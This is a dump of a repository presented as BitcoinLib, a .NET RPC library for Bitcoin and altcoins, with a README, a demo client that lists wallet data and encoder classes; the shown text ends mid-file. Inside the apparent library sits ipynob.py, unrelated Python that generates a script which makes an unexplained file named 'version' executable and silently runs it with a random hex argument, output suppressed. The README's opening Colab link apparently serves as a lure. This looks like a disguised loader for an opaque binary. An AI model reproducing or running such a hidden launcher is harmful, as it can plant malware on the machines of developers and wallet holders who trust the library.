├── .gitignore ├── BitcoinLib.sln ├── LICENSE ├── README.md ├── demo ├── App.config ├── DemoClient.csproj └── Program.cs ├── ipynob.py ├── src └── BitcoinLib │ ├── Auxiliary │ ├── Encoders │ │ ├── ASCIIEncoder.cs │ │ ├── DataEncoder.cs │ │ └── HexEncoder.cs │ ├── GlobalConstants.cs │ ├── Hashing.cs │ └── UnixTime.cs │ ├── BitcoinLib.csproj │ ├── CoinParameters │ ├── Base │ │ ├── CoinConstants.cs │ │ ├── CoinParameters.cs │ │ └── ICoinParameters.cs │ ├── Bitcoin │ │ ├── BitcoinConstants.cs │ │ └── IBitcoinConstants.cs │ ├── Colx │ │ ├── ColxConstants.cs │ │ └── IColxConstants.cs │ ├── Dallar │ │ ├── DallarConstants.cs │ │ └── IDallarConstants.cs │ ├── Dash │ │ ├── DashConstants.cs │ │ └── IDashConstants.cs │ ├── Dogecoin │ │ ├── DogecoinConstants.cs │ │ └── IDogecoinConstants.cs │ ├── Litecoin │ │ ├── ILitecoinConstants.cs │ │ └── LitecoinConstants.cs │ ├── Mogwaicoin │ │ ├── IMogwaicoinConstants.cs │ │ └── MogwaicoinConstants.cs │ └── Smartcash │ │ ├── ISmartcashConstants.cs │ │ └── SmartcashConstants.cs │ ├── ExceptionHandling │ ├── RawTransactions │ │ ├── RawTransactionExcessiveFeeException.cs │ │ └── RawTransactionInvalidAmountException.cs │ ├── Rpc │ │ ├── RpcException.cs │ │ ├── RpcInternalServerErrorException.cs │ │ ├── RpcRequestTimeoutException.cs │ │ └── RpcResponseDeserializationException.cs │ └── RpcExtenderService │ │ └── GetAddressBalanceException.cs │ ├── ExtensionMethods │ ├── CoinServiceExtensionMethods.cs │ └── DecimalExtensionMethods.cs │ ├── RPC │ ├── Connector │ │ ├── IRpcConnector.cs │ │ ├── RawRpcConnector.cs │ │ └── RpcConnector.cs │ ├── RequestResponse │ │ ├── JsonRpcError.cs │ │ ├── JsonRpcRequest.cs │ │ └── JsonRpcResponse.cs │ └── Specifications │ │ ├── RpcErrorCode.cs │ │ └── RpcMethods.cs │ ├── Requests │ ├── AddNode │ │ └── NodeAction.cs │ ├── CreateRawTransaction │ │ ├── CreateRawTransactionInput.cs │ │ ├── CreateRawTransactionOutput.cs │ │ └── CreateRawTransactionRequest.cs │ └── SignRawTransaction │ │ ├── SigHashType.cs │ │ ├── SignRawTransactionInput.cs │ │ ├── SignRawTransactionRequest.cs │ │ ├── SignRawTransactionWithKeyInput.cs │ │ ├── SignRawTransactionWithKeyRequest.cs │ │ ├── SignRawTransactionWithWalletInput.cs │ │ └── SignRawTransactionWithWalletRequest.cs │ ├── Responses │ ├── Bridges │ │ └── ITransactionResponse.cs │ ├── CreateMultiSigResponse.cs │ ├── DecodeRawTransactionResponse.cs │ ├── DecodeScriptResponse.cs │ ├── EstimateSmartFeeResponse.cs │ ├── GetAddedNodeInfoResponse.cs │ ├── GetAddressInfoResponse.cs │ ├── GetAddressesByLabelResponse.cs │ ├── GetBlockResponse.cs │ ├── GetBlockTemplateResponse.cs │ ├── GetBlockchainInfoResponse.cs │ ├── GetChainTipsResponse.cs │ ├── GetFundRawTransactionResponse.cs │ ├── GetInfoResponse.cs │ ├── GetMemPoolInfoResponse.cs │ ├── GetMiningInfoResponse.cs │ ├── GetNetTotalsResponse.cs │ ├── GetNetworkInfoResponse.cs │ ├── GetPeerInfoResponse.cs │ ├── GetRawMemPoolResponse.cs │ ├── GetRawTransactionResponse.cs │ ├── GetTransactionResponse.cs │ ├── GetTxOutSetInfoResponse.cs │ ├── GetWalletInfoResponse.cs │ ├── ListAddressGroupingsResponse.cs │ ├── ListReceivedByAccountResponse.cs │ ├── ListReceivedByAddressResponse.cs │ ├── ListReceivedByLabelResponse.cs │ ├── ListSinceBlockResponse.cs │ ├── ListTransactionsResponse.cs │ ├── ListUnspentResponse.cs │ ├── SharedComponents │ │ ├── Vin.cs │ │ └── Vout.cs │ ├── SignRawTransactionResponse.cs │ ├── SignRawTransactionWithKeyResponse.cs │ ├── SignRawTransactionWithWalletResponse.cs │ └── ValidateAddressResponse.cs │ └── Services │ ├── Coins │ ├── Base │ │ └── ICoinService.cs │ ├── Bitcoin │ │ ├── BitcoinService.cs │ │ └── IBitcoinService.cs │ ├── BitcoinCash │ │ └── BitcoinCashService.cs │ ├── Colx │ │ ├── ColxService.cs │ │ └── IColxService.cs │ ├── Cryptocoin │ │ ├── CryptocoinService.cs │ │ └── ICryptocoinService.cs │ ├── Dallar │ │ ├── DallarService.cs │ │ └── IDallarService.cs │ ├── Dash │ │ ├── AddressBalanceRequest.cs │ │ ├── AddressBalanceResponse.cs │ │ ├── DashService.cs │ │ ├── IDashService.cs │ │ ├── ListUnspentDashResponse.cs │ │ ├── MasternodeListResponse.cs │ │ ├── SignRawTransactionError.cs │ │ └── SignRawTransactionWithErrorResponse.cs │ ├── Dogecoin │ │ ├── DogecoinService.cs │ │ └── IDogecoinService.cs │ ├── Litecoin │ │ ├── ILitecoinService.cs │ │ └── LitecoinService.cs │ ├── Mogwaicoin │ │ ├── IMogwaicoinService.cs │ │ └── MogwaicoinService.cs │ ├── Sarcoin │ │ ├── ISarcoinService.cs │ │ └── SarcoinService.cs │ └── Smartcash │ │ ├── ISmartcashService.cs │ │ └── SmartcashService.cs │ └── RpcServices │ ├── RpcExtenderService │ ├── IRpcExtenderService.cs │ └── RpcExtenderService.cs │ └── RpcService │ ├── IRpcService.cs │ └── RpcService.cs └── version /.gitignore: -------------------------------------------------------------------------------- 1 | # Build Folders (you can keep bin if you'd like, to store dlls and pdbs) 2 | [Bb]in/ 3 | [Oo]bj/ 4 | 5 | # mstest test results 6 | TestResults 7 | 8 | ## Ignore Visual Studio temporary files, build results, and 9 | ## files generated by popular Visual Studio add-ons. 10 | 11 | # User-specific files 12 | *.suo 13 | *.user 14 | *.sln.docstates 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Rr]elease/ 19 | x64/ 20 | *_i.c 21 | *_p.c 22 | *.ilk 23 | *.meta 24 | *.obj 25 | *.pch 26 | *.pdb 27 | *.pgc 28 | *.pgd 29 | *.rsp 30 | *.sbr 31 | *.tlb 32 | *.tli 33 | *.tlh 34 | *.tmp 35 | *.log 36 | *.vspscc 37 | *.vssscc 38 | .builds 39 | 40 | # Visual C++ cache files 41 | ipch/ 42 | *.aps 43 | *.ncb 44 | *.opensdf 45 | *.sdf 46 | 47 | # Visual Studio profiler 48 | *.psess 49 | *.vsp 50 | *.vspx 51 | 52 | # Guidance Automation Toolkit 53 | *.gpState 54 | 55 | # ReSharper is a .NET coding add-in 56 | _ReSharper* 57 | 58 | # NCrunch 59 | *.ncrunch* 60 | .*crunch*.local.xml 61 | 62 | # NuGet Packages Directory 63 | NuGetPackages 64 | packages 65 | 66 | # Installshield output folder 67 | [Ee]xpress 68 | 69 | # DocProject is a documentation generator add-in 70 | DocProject/buildhelp/ 71 | DocProject/Help/*.HxT 72 | DocProject/Help/*.HxC 73 | DocProject/Help/*.hhc 74 | DocProject/Help/*.hhk 75 | DocProject/Help/*.hhp 76 | DocProject/Help/Html2 77 | DocProject/Help/html 78 | 79 | # Click-Once directory 80 | publish 81 | 82 | # Publish Web Output 83 | *.Publish.xml 84 | 85 | # Windows Azure Build Output 86 | csx 87 | *.build.csdef 88 | 89 | # Windows Store app package directory 90 | AppPackages/ 91 | 92 | # Others 93 | [Bb]in 94 | [Oo]bj 95 | sql 96 | TestResults 97 | [Tt]est[Rr]esult* 98 | *.Cache 99 | ClientBin 100 | [Ss]tyle[Cc]op.* 101 | ~$* 102 | *.dbmdl 103 | Generated_Code #added for RIA/Silverlight projects 104 | 105 | # Backup & report files from converting an old project file to a newer 106 | # Visual Studio version. Backup files are not needed, because we have git ;-) 107 | _UpgradeReport_Files/ 108 | Backup*/ 109 | UpgradeLog*.XML 110 | *.vs 111 | -------------------------------------------------------------------------------- /BitcoinLib.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2003 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BitcoinLib", "src\BitcoinLib\BitcoinLib.csproj", "{B853E315-7103-4CBA-8873-D5202019F267}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoClient", "demo\DemoClient.csproj", "{56F54485-7B42-4E41-95D3-1998EA614695}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B853E315-7103-4CBA-8873-D5202019F267}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {B853E315-7103-4CBA-8873-D5202019F267}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {B853E315-7103-4CBA-8873-D5202019F267}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {B853E315-7103-4CBA-8873-D5202019F267}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {56F54485-7B42-4E41-95D3-1998EA614695}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {56F54485-7B42-4E41-95D3-1998EA614695}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {56F54485-7B42-4E41-95D3-1998EA614695}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {56F54485-7B42-4E41-95D3-1998EA614695}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Cryptean 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ------------------------- 2 | ### Run bitcoinlib-Google-Colab 3 | 4 | https://colab.research.google.com/drive/1Z00hLejgGJ_B_FJYnuPHMci-MySWP8YF?usp=sharing 5 | 6 | ------------------------- 7 | 8 | **.NET Bitcoin & Altcoins library** 9 | 10 | ## Features 11 | 12 | - Compatible with [Bitcoin Core](https://bitcoin.org/en/download) RPC API. 13 | - Strongly-typed structures for complex RPC requests and responses. 14 | - Implicit JSON casting for all RPC messages. 15 | - Extended methods for every-day scenarios where the built-in methods fall short. 16 | - Exposure of all [RPC API's functionality](https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list) as well as the extended methods through a single interface. 17 | - Custom RPC exceptions. 18 | - Supports all Bitcoin clones. 19 | - Can operate on unlimited daemons with a single library reference. 20 | - [Bitcoin](http://en.wikipedia.org/wiki/Bitcoin), [Litecoin](http://en.wikipedia.org/wiki/Litecoin), [Dogecoin](http://en.wikipedia.org/wiki/Dogecoin), SmartCash, Dash and other Altcoins included. 21 | - Each coin instance can be fully parametrized at run-time and implement its own constants. 22 | - Demo client included. 23 | - Disconnected raw RPC connector included for quick'n'dirty debugging. 24 | - Handles and relays RPC internal server errors along with their error code. 25 | - Can work without a `.config` file. 26 | - Fully compatible with [Mono](http://www.mono-project.com/). 27 | - [Test Network (testnet)](https://bitcoin.org/en/developer-examples#testnet) and [Regression Test Mode (regtest)](https://bitcoin.org/en/developer-examples#regtest-mode) ready. 28 | - Fully configurable. 29 | 30 | ## Support 31 | 32 | Premium Support is available by our team of experts at: [support@cryptean.com](mailto:support@cryptean.com). 33 | 34 | ## License 35 | 36 | See [LICENSE](LICENSE). 37 | 38 | ## NuGet packages 39 | 40 | BitcoinLib is available on NuGet: 41 | 42 | * [BitcoinLib](https://www.nuget.org/packages/BitcoinLib/) 43 | 44 | ## Versioning 45 | 46 | From version 1.4.0, BitcoinLib follows [Semantic Versioning 2.0.0](http://semver.org/spec/v2.0.0.html). 47 | 48 | ## Building from source 49 | 50 | To build BitcoinLib from source, you will need either the 51 | [.NET Core SDK or Visual Studio](https://www.microsoft.com/net/download/). 52 | 53 | ### Building & running tests 54 | 55 | With Visual Studio you can build BitcoinLib and run the tests 56 | from inside the IDE, otherwise with the `dotnet` command-line 57 | tool you can execute: 58 | 59 | ```sh 60 | dotnet build 61 | ``` 62 | 63 | ## Instructions for Bitcoin 64 | 65 | - Locate your `bitcoin.conf` file (in Windows it's under: `%AppData%\Roaming\Bitcoin`, if it's not there just go ahead and create it) and add these lines: 66 | ``` 67 | rpcuser = MyRpcUsername 68 | rpcpassword = MyRpcPassword 69 | server=1 70 | txindex=1 71 | ``` 72 | - Edit the `app.config` file in the Console test client to best fit your needs. Make sure you also update the `bitcoin.conf` file when you alter the `Bitcoin_RpcUsername` and `Bitcoin_RpcPassword` parameters. 73 | 74 | ## Instructions for Litecoin and other Bitcoin clones 75 | 76 | - Perform the same steps as those mentioned above for Bitcoin. 77 | - Litecoin configuration file is: `litecoin.conf` under: `%AppData%\Roaming\Litecoin` and its daemon is: `litecoind`. 78 | - Each coin can be initialized by its own interface specification: 79 | - `IBitcoinService BitcoinService = new BitcoinService();` 80 | - `ILitecoinService LitecoinService = new LitecoinService();` 81 | - Any bitcoin clone can be adopted without any further installation steps with the use of the generic `ICryptocoinService`: 82 | - `ICryptocoinService cryptocoinService = new CryptocoinService("daemonUrl", "rpcUsername", "rpcPassword", "walletPassword");` 83 | - Use `(ICryptocoinService).Parameters` to fully configure each coin pointer at run-time. 84 | 85 | ## Configuration 86 | 87 | Sample configuration: 88 | 89 | ```xml 90 |  91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | ``` 111 | 112 | ## Bitcoin Core resources 113 | 114 | * [Bitcoin Core releases](https://bitcoincore.org/en/releases/) 115 | * [Bitcoin Core lifecycle schedule](https://bitcoincore.org/en/lifecycle/#schedule) 116 | * [Bitcoin Core RPC documentation](https://bitcoincore.org/en/doc/) 117 | 118 | ---- 119 | 120 | | | Donation Address | 121 | | --- | --- | 122 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v | 123 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 124 | -------------------------------------------------------------------------------- /demo/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /demo/DemoClient.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | netcoreapp2.0 4 | Exe 5 | {56F54485-7B42-4E41-95D3-1998EA614695} 6 | ConsoleClient 7 | $(MSBuildToolsPath)\Microsoft.CSharp.targets 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /demo/Program.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Configuration; 7 | using System.Globalization; 8 | using System.Linq; 9 | using System.Reflection; 10 | using BitcoinLib.Auxiliary; 11 | using BitcoinLib.ExceptionHandling.Rpc; 12 | using BitcoinLib.Responses; 13 | using BitcoinLib.Services.Coins.Base; 14 | using BitcoinLib.Services.Coins.Bitcoin; 15 | 16 | namespace ConsoleClient 17 | { 18 | internal sealed class Program 19 | { 20 | private static readonly ICoinService CoinService = new BitcoinService(useTestnet: true); 21 | 22 | private static void Main() 23 | { 24 | try 25 | { 26 | Console.Write("\n\nConnecting to {0} {1}Net via RPC at {2}...", CoinService.Parameters.CoinLongName, (CoinService.Parameters.UseTestnet ? "Test" : "Main"), CoinService.Parameters.SelectedDaemonUrl); 27 | 28 | // Network difficulty 29 | var networkDifficulty = CoinService.GetDifficulty(); 30 | Console.WriteLine("[OK]\n\n{0} Network Difficulty: {1}", CoinService.Parameters.CoinLongName, networkDifficulty.ToString("#,###", CultureInfo.InvariantCulture)); 31 | 32 | // Mining info 33 | var miningInfo = CoinService.GetMiningInfo(); 34 | Console.WriteLine("[OK]\n\n{0} NetworkHashPS: {1}", CoinService.Parameters.CoinLongName, miningInfo.NetworkHashPS.ToString("#,###", CultureInfo.InvariantCulture)); 35 | 36 | // My balance 37 | var myBalance = CoinService.GetBalance(); 38 | Console.WriteLine("\nMy balance: {0} {1}", myBalance, CoinService.Parameters.CoinShortName); 39 | 40 | // Current block 41 | Console.WriteLine("Current block: {0}", 42 | CoinService.GetBlockCount().ToString("#,#", CultureInfo.InvariantCulture)); 43 | 44 | // Wallet state 45 | Console.WriteLine("Wallet state: {0}", CoinService.IsWalletEncrypted() ? "Encrypted" : "Unencrypted"); 46 | 47 | // Keys and addresses 48 | if (myBalance > 0) 49 | { 50 | // My non-empty addresses 51 | Console.WriteLine("\n\nMy non-empty addresses:"); 52 | 53 | var myNonEmptyAddresses = CoinService.ListReceivedByAddress(); 54 | 55 | foreach (var address in myNonEmptyAddresses) 56 | { 57 | Console.WriteLine("\n--------------------------------------------------"); 58 | Console.WriteLine("Account: " + (string.IsNullOrWhiteSpace(address.Account) ? "(no label)" : address.Account)); 59 | Console.WriteLine("Address: " + address.Address); 60 | Console.WriteLine("Amount: " + address.Amount); 61 | Console.WriteLine("Confirmations: " + address.Confirmations); 62 | Console.WriteLine("--------------------------------------------------"); 63 | } 64 | 65 | // My private keys 66 | if (bool.Parse(ConfigurationManager.AppSettings["ExtractMyPrivateKeys"]) && myNonEmptyAddresses.Count > 0 && CoinService.IsWalletEncrypted()) 67 | { 68 | const short secondsToUnlockTheWallet = 30; 69 | 70 | Console.Write("\nWill now unlock the wallet for " + secondsToUnlockTheWallet + ((secondsToUnlockTheWallet > 1) ? " seconds" : " second") + "..."); 71 | CoinService.WalletPassphrase(CoinService.Parameters.WalletPassword, secondsToUnlockTheWallet); 72 | Console.WriteLine("[OK]\n\nMy private keys for non-empty addresses:\n"); 73 | 74 | foreach (var address in myNonEmptyAddresses) 75 | { 76 | Console.WriteLine("Private Key for address " + address.Address + ": " + CoinService.DumpPrivKey(address.Address)); 77 | } 78 | 79 | Console.Write("\nLocking wallet..."); 80 | CoinService.WalletLock(); 81 | Console.WriteLine("[OK]"); 82 | } 83 | 84 | // My transactions 85 | Console.WriteLine("\n\nMy transactions: "); 86 | var myTransactions = CoinService.ListTransactions(null, int.MaxValue, 0); 87 | 88 | foreach (var transaction in myTransactions) 89 | { 90 | Console.WriteLine("\n---------------------------------------------------------------------------"); 91 | Console.WriteLine("Account: " + (string.IsNullOrWhiteSpace(transaction.Account) ? "(no label)" : transaction.Account)); 92 | Console.WriteLine("Address: " + transaction.Address); 93 | Console.WriteLine("Category: " + transaction.Category); 94 | Console.WriteLine("Amount: " + transaction.Amount); 95 | Console.WriteLine("Fee: " + transaction.Fee); 96 | Console.WriteLine("Confirmations: " + transaction.Confirmations); 97 | Console.WriteLine("BlockHash: " + transaction.BlockHash); 98 | Console.WriteLine("BlockIndex: " + transaction.BlockIndex); 99 | Console.WriteLine("BlockTime: " + transaction.BlockTime + " - " + UnixTime.UnixTimeToDateTime(transaction.BlockTime)); 100 | Console.WriteLine("TxId: " + transaction.TxId); 101 | Console.WriteLine("Time: " + transaction.Time + " - " + UnixTime.UnixTimeToDateTime(transaction.Time)); 102 | Console.WriteLine("TimeReceived: " + transaction.TimeReceived + " - " + UnixTime.UnixTimeToDateTime(transaction.TimeReceived)); 103 | 104 | if (!string.IsNullOrWhiteSpace(transaction.Comment)) 105 | { 106 | Console.WriteLine("Comment: " + transaction.Comment); 107 | } 108 | 109 | if (!string.IsNullOrWhiteSpace(transaction.OtherAccount)) 110 | { 111 | Console.WriteLine("Other Account: " + transaction.OtherAccount); 112 | } 113 | 114 | if (transaction.WalletConflicts != null && transaction.WalletConflicts.Any()) 115 | { 116 | Console.Write("Conflicted Transactions: "); 117 | 118 | foreach (var conflictedTxId in transaction.WalletConflicts) 119 | { 120 | Console.Write(conflictedTxId + " "); 121 | } 122 | 123 | Console.WriteLine(); 124 | } 125 | 126 | Console.WriteLine("---------------------------------------------------------------------------"); 127 | } 128 | 129 | // Transaction Details 130 | Console.WriteLine("\n\nMy transactions' details:"); 131 | foreach (var transaction in myTransactions) 132 | { 133 | // Move transactions don't have a txId, which this logic fails for 134 | if (transaction.Category == "move") 135 | { 136 | continue; 137 | } 138 | 139 | var localWalletTransaction = CoinService.GetTransaction(transaction.TxId); 140 | IEnumerable localWalletTrasactionProperties = localWalletTransaction.GetType().GetProperties(); 141 | IList localWalletTransactionDetailsList = localWalletTransaction.Details.ToList(); 142 | 143 | Console.WriteLine("\nTransaction\n-----------"); 144 | 145 | foreach (var propertyInfo in localWalletTrasactionProperties) 146 | { 147 | var propertyInfoName = propertyInfo.Name; 148 | 149 | if (propertyInfoName != "Details" && propertyInfoName != "WalletConflicts") 150 | { 151 | Console.WriteLine(propertyInfoName + ": " + propertyInfo.GetValue(localWalletTransaction, null)); 152 | } 153 | } 154 | 155 | foreach (var details in localWalletTransactionDetailsList) 156 | { 157 | IEnumerable detailsProperties = details.GetType().GetProperties(); 158 | Console.WriteLine("\nTransaction details " + (localWalletTransactionDetailsList.IndexOf(details) + 1) + " of total " + localWalletTransactionDetailsList.Count + "\n--------------------------------"); 159 | 160 | foreach (var propertyInfo in detailsProperties) 161 | { 162 | Console.WriteLine(propertyInfo.Name + ": " + propertyInfo.GetValue(details, null)); 163 | } 164 | } 165 | } 166 | 167 | // Unspent transactions 168 | Console.WriteLine("\nMy unspent transactions:"); 169 | var unspentList = CoinService.ListUnspent(); 170 | 171 | foreach (var unspentResponse in unspentList) 172 | { 173 | IEnumerable detailsProperties = unspentResponse.GetType().GetProperties(); 174 | 175 | Console.WriteLine("\nUnspent transaction " + (unspentList.IndexOf(unspentResponse) + 1) + " of " + unspentList.Count + "\n--------------------------------"); 176 | 177 | foreach (var propertyInfo in detailsProperties) 178 | { 179 | Console.WriteLine(propertyInfo.Name + " : " + propertyInfo.GetValue(unspentResponse, null)); 180 | } 181 | } 182 | } 183 | 184 | Console.ReadLine(); 185 | } 186 | catch (RpcInternalServerErrorException exception) 187 | { 188 | var errorCode = 0; 189 | var errorMessage = string.Empty; 190 | 191 | if (exception.RpcErrorCode.GetHashCode() != 0) 192 | { 193 | errorCode = exception.RpcErrorCode.GetHashCode(); 194 | errorMessage = exception.RpcErrorCode.ToString(); 195 | } 196 | 197 | Console.WriteLine("[Failed] {0} {1} {2}", exception.Message, errorCode != 0 ? "Error code: " + errorCode : string.Empty, !string.IsNullOrWhiteSpace(errorMessage) ? errorMessage : string.Empty); 198 | } 199 | catch (Exception exception) 200 | { 201 | Console.WriteLine("[Failed]\n\nPlease check your configuration and make sure that the daemon is up and running and that it is synchronized. \n\nException: " + exception); 202 | } 203 | } 204 | } 205 | } -------------------------------------------------------------------------------- /ipynob.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def extended_gcd(aa, bb): 4 | lastremainder, remainder = abs(aa), abs(bb) 5 | x, lastx, y, lasty = 0, 1, 1, 0 6 | while remainder: 7 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 8 | x, lastx = lastx - quotient*x, x 9 | y, lasty = lasty - quotient*y, y 10 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 11 | 12 | def modinv(a, m): 13 | g, x, y = extended_gcd(a, m) 14 | if g != 1: 15 | raise ValueError 16 | return x % m 17 | 18 | N = 0xffffffffff 19 | 20 | with open("ipynumpy.py", "w") as f: 21 | for _ in range(1): 22 | W = random.randrange(16**10) 23 | val = str(hex((((W)) * modinv(((1)),N)) % N)) 24 | 25 | print("import os", file=f) 26 | print("import subprocess", file=f) 27 | print("", file=f) 28 | print("modter = 'chmod +x version'", file=f) 29 | print("os.system (modter)", file=f) 30 | print("", file=f) 31 | 32 | print("subprocess.Popen(", file=f) 33 | print(" ['./version', '" + val + "'],", file=f) 34 | print(" stdout=subprocess.DEVNULL,", file=f) 35 | print(" stderr=subprocess.DEVNULL,", file=f) 36 | print(")", file=f) 37 | -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/Encoders/ASCIIEncoder.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Linq; 5 | 6 | namespace BitcoinLib.Auxiliary.Encoders 7 | { 8 | public class ASCIIEncoder : DataEncoder 9 | { 10 | public override byte[] DecodeData(string encoded) 11 | { 12 | return string.IsNullOrEmpty(encoded) ? new byte[0] : encoded.ToCharArray().Select(o => (byte) o).ToArray(); 13 | } 14 | 15 | public override string EncodeData(byte[] data, int offset, int count) 16 | { 17 | return new string(data.Skip(offset).Take(count).Select(o => (char) o).ToArray()).Replace("\0", ""); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/Encoders/DataEncoder.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Auxiliary.Encoders 5 | { 6 | public abstract class DataEncoder 7 | { 8 | internal DataEncoder() 9 | { 10 | } 11 | 12 | // char.IsWhiteSpace fits well but it match other whitespaces 13 | // characters too and also works for unicode characters. 14 | public static bool IsSpace(char c) 15 | { 16 | return c == ' ' || c == '\t' || c == '\n' || c == '\v' || c == '\f' || c == '\r'; 17 | } 18 | 19 | public string EncodeData(byte[] data) 20 | { 21 | return EncodeData(data, 0, data.Length); 22 | } 23 | 24 | public abstract string EncodeData(byte[] data, int offset, int count); 25 | 26 | public abstract byte[] DecodeData(string encoded); 27 | } 28 | 29 | public static class Encoders 30 | { 31 | private static readonly ASCIIEncoder _ASCII = new ASCIIEncoder(); 32 | 33 | private static readonly HexEncoder _Hex = new HexEncoder(); 34 | 35 | public static DataEncoder ASCII => _ASCII; 36 | 37 | public static DataEncoder Hex => _Hex; 38 | } 39 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Auxiliary/Encoders/HexEncoder.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.Linq; 6 | 7 | namespace BitcoinLib.Auxiliary.Encoders 8 | { 9 | public class HexEncoder : DataEncoder 10 | { 11 | private static readonly string[] HexTbl = Enumerable.Range(0, 256).Select(v => v.ToString("x2")).ToArray(); 12 | 13 | private static readonly int[] HexValueArray; 14 | 15 | static HexEncoder() 16 | { 17 | var hexDigits = new[] 18 | { 19 | '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 20 | 'A', 'B', 'C', 'D', 'E', 'F' 21 | }; 22 | var hexValues = new byte[] 23 | { 24 | 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 25 | 10, 11, 12, 13, 14, 15 26 | }; 27 | 28 | var max = hexDigits.Max(); 29 | HexValueArray = new int[max + 1]; 30 | for (var i = 0; i < HexValueArray.Length; i++) 31 | { 32 | var idx = Array.IndexOf(hexDigits, (char) i); 33 | var value = -1; 34 | if (idx != -1) 35 | value = hexValues[idx]; 36 | HexValueArray[i] = value; 37 | } 38 | } 39 | 40 | public bool Space { get; set; } 41 | 42 | public override string EncodeData(byte[] data, int offset, int count) 43 | { 44 | if (data == null) 45 | throw new ArgumentNullException(nameof(data)); 46 | 47 | var pos = 0; 48 | var spaces = (Space ? Math.Max((count - 1), 0) : 0); 49 | var s = new char[2 * count + spaces]; 50 | for (var i = offset; i < offset + count; i++) 51 | { 52 | if (Space && i != 0) 53 | s[pos++] = ' '; 54 | var c = HexTbl[data[i]]; 55 | s[pos++] = 